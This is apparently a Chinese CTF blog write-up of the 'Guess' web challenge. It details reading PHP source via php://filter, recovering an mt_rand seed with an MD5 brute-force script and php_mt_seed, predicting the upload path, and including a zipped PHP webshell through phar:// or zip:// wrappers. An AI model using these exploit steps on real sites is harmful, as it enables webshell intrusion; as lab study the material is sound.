攻防世界10难度Web题-Guess

这道题已经有人写过文章了,所以我这篇再加一点东西,算是答疑吧

打开发现可以上传图片,应该是要上传一句话木马

添加一张图片抓包尝试绕过

从Cookie中的PHPSESSID看出是PHP网站,所以要上传PHP一句话木马

后缀绕过失败,虽然图片内容可以是一句话,但是没有回显图片路径

注意到GET请求?page=upload,猜测是文件包含,并且后端添加了后缀

尝试伪协议读取源码

?page=php://filter/read=convert.base64-encode/resource=index

?page=php://filter/read=convert.base64-encode/resource=upload

base64解码得到源码进行代码审计

index中看到文件包含添加的后缀为.php

upload中看到文件路径生成的代码 $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];

也就是/uP1O4Ds/随机字符串_文件原名

那么只要通过伪随机得到文件路径,再包含一句话,就可以GetWebShell了

由于这里不能远程文件包含所以不能用http://....png?.php的方式将.php作为参数绕过

但是可以使用zip://或phar://绕过,它们都可以包含相对路径ZIP中的文件并忽视.zip这个后缀

先将一句话写入shell.php然后压缩成shell.zip再改名为shell.jpg进行上传

看一下random_str()

function random_str($length = "32") //随机字符串长32
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", //字符数组
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1); //通过mt_rand()随机生成一个下标然后在字符数组中找到一个字符
        $str .= $set[$ch];
    }

    return $str;
}

随机字符由mt_rand()产生,再看看前面的代码

$seed = rand(0,999999999); //生成随机种子
mt_srand($seed); //设置随机种子
$ss = mt_rand(); //生成第一个随机数
$hash = md5(session_id() . $ss);
setcookie('SESSI0N', $hash, time() + 3600); //可以看出来响应包Cookie的SESSION包含随机数

将请求包PHPSESSID设为1,那么响应包的SESSION就是"1随机数"的MD5值

简单写一个index.php来爆破MD5值

<?php
for($i=$_GET['i'];$i<$_GET['i']+10000000;$i++) //循环太多次当前页面会超时,所以下面要跳转
if(md5($i)=='60b295ba5c5b3fa193d9764b6c30eab2') echo '<script>alert('.$i.');</script>';
echo "<script>window.location.href='http://127.0.0.1/?i=$i';</script>";

访问http://127.0.0.1/?i=11000000000和http://127.0.0.1/?i=1100000000进行爆破

使用php_mt_seed通过随机数1058932008来爆破随机种子(https://www.openwall.com/php_mt_seed/)

./php_mt_seed 1058932008

构造一个生成文件路径的代码,用上面的结果和对应的PHP版本挨个尝试,最终得到存在的文件路径

<?php
    $seed = 268455374; //挨个试随机种子,本题为5.2.1 to 7.0.x,所以说文件包含时也不能用00截断来绕过.php后缀
    mt_srand($seed);
    $ss = mt_rand(); //要先产生一次随机数

    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= 32; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    echo '/uP1O4Ds/' . $str . '_' . 'shell.jpg';

使用蚁剑连接一句话木马,两种协议都可以用

?page=phar://./uP1O4Ds/9PI2FeaKjzaZisrWKiMQfBC4G9ZkseMx_shell.jpg/shell

?page=zip://./uP1O4Ds/9PI2FeaKjzaZisrWKiMQfBC4G9ZkseMx_shell.jpg%23shell

拿到Flag

 

posted @ 2022-10-21 18:08  Hacker&Cat  阅读(203)  评论(0编辑  收藏  举报